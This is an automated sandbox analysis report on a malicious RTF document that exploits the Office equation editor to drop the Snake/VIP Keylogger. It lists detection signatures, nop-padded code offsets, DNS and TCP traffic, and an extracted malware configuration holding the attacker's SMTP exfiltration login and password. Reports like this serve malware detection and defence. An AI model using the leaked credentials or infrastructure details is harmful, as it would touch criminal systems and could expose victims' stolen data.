Windows Analysis Report
na.doc

Overview

General Information

Sample name: na.doc
Analysis ID: 1545183
MD5: 991c3ef3605df4ffc60c31c48747fec9
SHA1: 723ebd382ae7f1d0a12aa4dc8f63885814ec7bbf
SHA256: 71c7ce3ae15af93c31891bfb40543074c2ea5a51f34ff3c13e52c68d1e020053
Tags: docuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Initial sample is an obfuscated RTF file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Equation Editor Network Connection
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Binary contains a suspicious time stamp
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: na.doc Avira: detected
Found malware configuration
Source: 00000007.00000002.942629985.00000000024E1000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "logs@covid19support.top", "Password": "7213575aceACE@@", "Host": "mail.covid19support.top", "Port": "587", "Version": "4.4"}
Source: 7.2.cdlpohalgate39567.exe.400000.0.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "logs@covid19support.top", "Password": "7213575aceACE@@", "Host": "mail.covid19support.top", "Port": "587", "Version": "4.4"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\pgTQ4mfZBbJhpdd[1].exe ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe ReversingLabs: Detection: 70%
Multi AV Scanner detection for submitted file
Source: na.doc ReversingLabs: Detection: 50%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\pgTQ4mfZBbJhpdd[1].exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 87.120.84.38 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49182 version: TLS 1.2
Source: Binary string: DGaD.pdb source: cdlpohalgate39567.exe, 00000005.00000000.428364525.0000000001012000.00000020.00000001.01000000.00000004.sdmp, cdlpohalgate39567.exe.2.dr, pgTQ4mfZBbJhpdd[1].exe.2.dr
Source: Binary string: DGaD.pdbSHA256 source: cdlpohalgate39567.exe, 00000005.00000000.428364525.0000000001012000.00000020.00000001.01000000.00000004.sdmp, cdlpohalgate39567.exe.2.dr, pgTQ4mfZBbJhpdd[1].exe.2.dr

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 7_2_002569B8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00259743h 7_2_00259330
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0025767Dh 7_2_00257490
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00259181h 7_2_00258EC2
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0025EB89h 7_2_0025E8A8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0025F4B9h 7_2_0025F1D9
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00258007h 7_2_00257B35
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0025FDE9h 7_2_0025FB08
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0025F021h 7_2_0025ED40
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0025F951h 7_2_0025F670
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00259743h 7_2_00259672
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 006485AAh 7_2_006482B0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00643A09h 7_2_00643760
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064A25Ah 7_2_00649F60
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00642339h 7_2_00642068
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064CD62h 7_2_0064CA68
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00640C41h 7_2_00640970
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00647A41h 7_2_00647770
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064F86Ah 7_2_0064F570
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00646349h 7_2_00646078
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00648A72h 7_2_00648778
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00640311h 7_2_00640040
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00647111h 7_2_00646E40
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00648F3Ah 7_2_00648C40
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00645A19h 7_2_00645748
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064BA42h 7_2_0064B748
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00644321h 7_2_00644050
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064E54Ah 7_2_0064E250
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064A722h 7_2_0064A428
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00643101h 7_2_00642E30
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064D22Ah 7_2_0064CF30
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00641A09h 7_2_00641738
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064FD32h 7_2_0064FA38
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 006427D1h 7_2_00642500
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 006410D9h 7_2_00640E08
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00647F7Ah 7_2_00647C08
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00649402h 7_2_00649108
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 006467E2h 7_2_00646510
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064BF0Ah 7_2_0064BC10
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 006450E9h 7_2_00644E18
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064EA12h 7_2_0064E718
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00645EB1h 7_2_00645BE0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064EEDAh 7_2_0064EBE0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 006447B9h 7_2_006444E8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064ABEAh 7_2_0064A8F0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064D6F2h 7_2_0064D3F8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064DBBAh 7_2_0064D8C0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00643599h 7_2_006432C8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00641EA1h 7_2_00641BD0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 006498CAh 7_2_006495D0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 006407A9h 7_2_006404D8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 006475A9h 7_2_006472D8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064C3D2h 7_2_0064C0D8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00641571h 7_2_006412A0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064C89Ah 7_2_0064C5A0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00646C79h 7_2_006469A8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064F3A2h 7_2_0064F0A8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00645581h 7_2_006452B0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00643E89h 7_2_00643BB8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064B0B2h 7_2_0064ADB8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00644C51h 7_2_00644980
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064B57Ah 7_2_0064B280
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0064E082h 7_2_0064DD88
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00642C69h 7_2_00642998
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00649D92h 7_2_00649A98
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0072033Ah 7_2_00720040
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00721B22h 7_2_00721828
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0072330Ah 7_2_00723010
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00721FEAh 7_2_00721CF0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 007237D2h 7_2_007234D8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00721192h 7_2_00720E98
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0072297Ah 7_2_00722680
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 0072165Ah 7_2_00721360
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00722E42h 7_2_00722B48
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00720802h 7_2_00720508
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00720CCAh 7_2_007209D0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 007224B3h 7_2_007221B8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00723C9Ah 7_2_007239A0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC55D9h 7_2_00BC5330
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCEC49h 7_2_00BCE978
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC9B59h 7_2_00BC98B0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCF579h 7_2_00BCF2A8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC8E51h 7_2_00BC8BA8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC8149h 7_2_00BC7EA0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC7441h 7_2_00BC7198
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC6739h 7_2_00BC6490
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC5A31h 7_2_00BC5788
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCE1C5h 7_2_00BCDE88
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCD429h 7_2_00BCD180
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC4D29h 7_2_00BC4A80
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC85A1h 7_2_00BC82F8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC7899h 7_2_00BC75F0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC6B91h 7_2_00BC68E8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC5E89h 7_2_00BC5BE0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCE7B1h 7_2_00BCE4E0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC5181h 7_2_00BC4ED8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCD881h 7_2_00BCD5D8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCCB7Bh 7_2_00BCC8D0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC4479h 7_2_00BC41D0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCBE71h 7_2_00BCBBC8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC3771h 7_2_00BC34C8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCB169h 7_2_00BCAEC0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC62E1h 7_2_00BC6038
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCDCD9h 7_2_00BCDA30
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCCFD1h 7_2_00BCCD28
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC48D1h 7_2_00BC4628
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCC2C9h 7_2_00BCC020
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC3BC9h 7_2_00BC3920
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCB5C1h 7_2_00BCB318
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCF0E1h 7_2_00BCEE10
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC92A9h 7_2_00BC9000
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC4021h 7_2_00BC3D78
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCC721h 7_2_00BCC478
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCBA19h 7_2_00BCB770
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC3319h 7_2_00BC3070
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCAD11h 7_2_00BCAA68
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC9701h 7_2_00BC9458
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC89F9h 7_2_00BC8750
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC7CF1h 7_2_00BC7A48
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BCFA11h 7_2_00BCF740
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then jmp 00BC6FE9h 7_2_00BC6D40
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_00C32AF1
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_00C32B00
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_00C35F28
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_00C35F38
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: api.telegram.org
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
